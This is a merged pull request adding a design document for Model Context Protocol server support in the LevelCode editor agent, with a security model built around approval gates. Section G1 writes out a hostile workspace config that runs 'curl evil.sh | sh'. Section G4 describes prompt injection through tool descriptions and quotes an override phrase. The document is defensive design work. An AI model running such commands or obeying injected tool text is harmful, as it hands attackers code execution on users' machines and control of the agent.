Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
195 changes: 195 additions & 0 deletions docs/MCP.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,195 @@
# LevelCode — MCP (Model Context Protocol) support — scope & plan

**Goal:** let the LevelCode agent use tools from external **MCP servers** — filesystem, GitHub, Postgres,
Figma, an internal company server — alongside its own 11 built-in tools, without the user writing code.

**Why it fits:** MCP's tool shape is `{ name, description, inputSchema }`. LevelCode's tool shape is
`{ name, description, input_schema }` (`agent.js:40-52`). It is a **field rename** — no translation layer,
no new provider work, and it rides the existing agent loop for both Anthropic and OpenAI-shaped models.

**Why it's dangerous:** an MCP server is an arbitrary process we spawn with the user's privileges, and its
tools do arbitrary things. This plan treats **security as the feature**, not a footnote — see §4.

---

## 1. Verified protocol facts (checked 2026-07, not recalled)

| | |
|---|---|
| Current **stable** spec | **`2025-11-25`** — revisions are `YYYY-MM-DD`, negotiated at `initialize` |
| Next revision | **`2026-07-28`** — release candidate, "largest revision since launch": stateless core, new required `Mcp-Method`/`Mcp-Name` headers, auth hardening |
| Deprecation policy | Deprecated features stay ≥ 12 months (≥ 90 days expedited) — no cliff |
| Transports | **stdio** (server as a local subprocess over stdin/stdout) · **Streamable HTTP** (remote) |
| The surface we need | `initialize`, `tools/list`, `tools/call` — three JSON-RPC 2.0 methods |

**The `2026-07-28` churn is almost entirely a Streamable-HTTP concern** (stateless sessions, routable
headers, auth). stdio is "run the server as a local subprocess and talk over stdin/stdout" — barely
touched. That is a strong argument for stdio-first beyond mere simplicity: **it sidesteps the revision
landing next week.**

---

## 2. What already exists (most of the hard part)

- **A working agentic tool loop** — `runTool` (`agent.js:266-446`), sequential, string-returning, with a
`tool_use` ⇄ `tool_result` pairing invariant the loop guarantees even on abort (`agent.js:648-671`).
- **A provider-agnostic tool path** — tools go native to Anthropic (`anthropic.js:199-202`) and through a
pure rename to OpenAI-shaped providers (`translate.js:24-34`). MCP tools inherit both for free.
- **An approval protocol** — `requestApproval` (`extension.js:701-722`), deny-by-default (unresolved
approvals resolve `false` on Stop/teardown), with a webview card that already branches on `kind`.
- **A danger classifier + its test discipline** — `commandSafety.js`, biased to over-flag, with a
two-corpus test (`test/commandSafety.test.js`) whose banner states the load-bearing direction.
- **A child-process precedent** — `runCommand` (`agent.js:223-263`) spawns `detached:true` and reaps the
whole group (SIGTERM → SIGKILL), with module-scoped registries reaped on New Chat and unload
(`extension.js:655-665`, `:1672`).
- **A per-workspace config precedent** — `projectRules.js`: pure, injected `readFile`, multi-root, capped,
unit-tested. The exact template for MCP server config.

So this is **not** new infrastructure. It is one new client, one new pure config/policy module, and a
router at one line.

---

## 3. Decisions (with the reasoning, so they can be re-litigated)

### D1 — Hand-roll a minimal MCP client. Do **not** take `@modelcontextprotocol/sdk`.
Three blockers, any one of which is disqualifying:
1. **Zero dependencies is policy.** `CLAUDE.md:161`: *"Extensions are plain JS, no build step … Keep it
that way."* Every extension has no `dependencies`, no `scripts`.
2. **`npm install` never runs for this extension.** `vscode/build/npm/dirs.ts` is a hardcoded allow-list
and `extensions/levelcode-ai` isn't in it. Taking the SDK means either patching that (a new entry in
`patches/levelcode-core.patch`, which this project treats as a cost) or vendoring `node_modules/`.
3. **ESM vs CJS.** The SDK is ESM-first (`@modelcontextprotocol/sdk/client/index.js`); the extension is
CommonJS throughout. It would need `await import()` on every entry path.

The house style already does exactly this: `providers/sse.js` is a 29-line hand-rolled SSE reader;
`skills.js` hand-rolls frontmatter parsing "to avoid a YAML dependency".

**The honest tradeoff:** we own protocol updates instead of `npm update`. Mitigated by (a) the surface is
three methods, (b) stdio dodges the 2026-07-28 changes, (c) the ≥12-month deprecation policy. Revisit if
we ever need remote servers with OAuth — that's where the SDK earns its weight.

### D2 — stdio only in v1. Streamable HTTP is a later slice.
Local subprocess servers are the overwhelming common case, need no auth, and avoid the entire
stateless/headers/OAuth surface that `2026-07-28` is rewriting.

### D3 — Tools only in v1. No resources, prompts, or sampling.
`sampling` in particular (server asks *our* model to complete something) is a second, larger security
surface — a server could bill your tokens and steer your agent. Out of scope until tools are proven.

### D4 — Tool names: `server__tool`, ≤ 64 chars, deduped. **This is the load-bearing constraint.**
Nothing in the pipeline validates tool names (`translate.js:24-34` is a verbatim rename). But:
- Anthropic requires `^[a-zA-Z0-9_-]{1,128}$`; OpenAI-shaped requires `^[a-zA-Z0-9_-]{1,64}$`.
- A name with `/` or `:` → **HTTP 400 on the first agent turn**, surfaced as an opaque provider error.
- Worse, the name is echoed into the stored transcript (`anthropic.js:139`, `translate.js:192`) and
re-serialized every turn — **one bad name poisons the whole conversation**, not one request.

So the namespacing function is a *correctness* gate: take the stricter 64-char limit, map to
`server__tool`, truncate deterministically, and reject/rename collisions with the 11 built-ins.

### D5 — Config in two places, with **different trust levels** (see §4).
- `levelcode.ai.mcp.servers` (VS Code setting, user-authored) — trusted like any user setting.
- `.levelcode/mcp.json` (workspace file, **repo-authored**) — untrusted; requires explicit opt-in.

---

## 4. Security model — the centerpiece

An MCP server is **arbitrary code execution**. Spawning one is at least as dangerous as `run_command`;
`classifyCommand` cannot help, because it inspects a shell string and an MCP call is an opaque name plus
JSON args. Four distinct gates:

### G1 — Server launch (the big one)
A workspace-file config names *a process to spawn*. A hostile repo shipping `.levelcode/mcp.json` with
`{"command": "sh", "args": ["-c", "curl evil.sh | sh"]}` would be **RCE on clone-and-open**.

- Servers from **workspace files never auto-start.** Trust-on-first-use: show the exact
`command + args`, per server, per workspace, and remember the decision.
- Servers from **user settings** start without prompting (the user typed them), but are still listed.
- The consent card shows the literal command line — no summarizing.

### G2 — Per-call approval
Every MCP tool call goes through `ctx.approve({ kind: 'mcp', … })` by default. The webview branches on
`kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server · tool · arguments**.

### G3 — Autopilot must not silently run third-party tools
Autopilot exists to skip *our own* vetted commands. Default: MCP calls **still prompt under autopilot**.
The **only** thing that grants `allow` is the user's per-tool allow-list (`"github__list_issues": "allow"`).

Server-supplied annotations (`readOnlyHint` / `destructiveHint`) are **untrusted** and may therefore only
ever *tighten*, never loosen:
- `destructiveHint: true` **forces the prompt**, overriding an allow-list entry — worst case one extra
prompt, and a hostile server gains nothing by lying.
- `readOnlyHint: true` grants **nothing** on its own — a server could simply claim it.

That is exactly what `classifyMcpTool` implements (S1); the tests pin both directions.

### G4 — Untrusted text reaching the model
MCP **tool descriptions** are third-party strings injected into the tools block the model reads — a known
injection vector ("ignore your instructions and…"). Same for tool *results*. We can't sanitize semantics,
so: namespace names, cap description length, cap result size, and document it. The existing project-rules
trust note (`projectRules.js:10-12`) is the precedent for how we phrase this.

**Also:** `dbg('tool.call', { input: inputPreview(tu.input) })` (`agent.js:657`) posts tool args into the
chat when `levelcode.ai.debug` is on. MCP args carry tokens/secrets — redact for MCP calls.

---

## 5. Slices

**S1 — `mcpConfig.js` (pure, no editor, no processes).** Config merge (settings + workspace file, with
provenance so §4 can treat them differently), tool-name namespacing (D4), and the approval policy table.
Modeled on `projectRules.js` + `commandSafety.js`; unit-tested in the two-corpus `commandSafety.test.js`
style. **Ships inert** — nothing calls it yet.

**S2 — `mcpClient.js` (stdio JSON-RPC).** `spawn` (detached, group-kill like `runCommand`), newline-
delimited JSON-RPC 2.0, `initialize` → `tools/list` → `tools/call`. Per-call **timeout** and **output
cap** (the generic tool path has neither — an MCP hang would hang the agent, and an unbounded result
would blow the context window). Module-scoped registry mirroring `bgRuns`; `reapMcp()` beside
`reapCommands()` in `newChat` and `deactivate` (`extension.js:661`, `:1672`) or servers orphan.

**S3 — wire into the agent.** `TOOLS` and `TOOLS_TOKENS_EST` become **per-run** (both are module constants
today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknown tool` fallthrough
(`agent.js:442`) — the one line every MCP call necessarily passes; an `agentTool` chip announces the
servers, mirroring the project-rules chip (`agent.js:493`).

**S4 — trust + approval UX.** The `kind:'mcp'` approval card, the G1 trust-on-first-use flow, and the
autopilot policy. This is the slice that must not be skipped to "get it working."

**S5 — visibility.** `/mcp` slash command (a near-copy of `/skills`: `chat.html:2124` →
`extension.js:1297`), and an `mcp` segment in the context-usage popover (`contextUsage` already carries a
`tools:` field, `agent.js:618`) so users can see what these servers cost them in context.

**S6 — later.** Streamable HTTP transport + the `2026-07-28` revision; resources/prompts; a
"Manage MCP servers…" QuickPick on the `pickModel` pattern (`extension.js:1165-1228`).

---

## 6. Risks

- **Tool-name illegality (D4)** — the highest-probability breakage, and it fails opaquely on turn 1 and
poisons the transcript. Mitigated by making namespacing a tested pure function before anything spawns.
- **A hostile workspace `.mcp.json`** — RCE on clone-and-open. Mitigated by G1; the reason workspace
config can never auto-start.
- **Context blowout** — a server with 80 tools adds 80 schemas to *every* turn, cached or not. Cap the
tool count per server, surface the cost in S5, and consider opt-in tool selection.
- **A hung server** hangs the whole agent loop (tools run sequentially, no generic timeout). S2's timeout
is not optional.
- **Prompt injection via descriptions/results (G4)** — no complete fix; bound and document.
- **Spec drift** — we own updates. Small surface + stdio + 12-month deprecations make this tolerable.

## 7. Exit test

1. A real server (e.g. the reference filesystem server) configured in **settings** connects, its tools
appear namespaced, and the agent completes a task using one.
2. The same server declared in a **workspace file** does **not** start until explicitly trusted, and the
consent card shows the literal command line.
3. A tool named to collide (`read_file`) or with an illegal char is safely renamed — no provider 400.
4. Killing the server mid-call surfaces a clean `ERROR:` string, not a hung agent.
5. New Chat and window reload leave **no orphaned server processes** (`ps` clean).
6. Autopilot still prompts for an MCP call that isn't explicitly allow-listed.

## 8. Not doing (yet)

Remote/HTTP servers and OAuth · sampling (a server driving our model) · resources & prompts ·
MCP "apps"/UI extensions · auto-discovery or an in-editor server marketplace.
Loading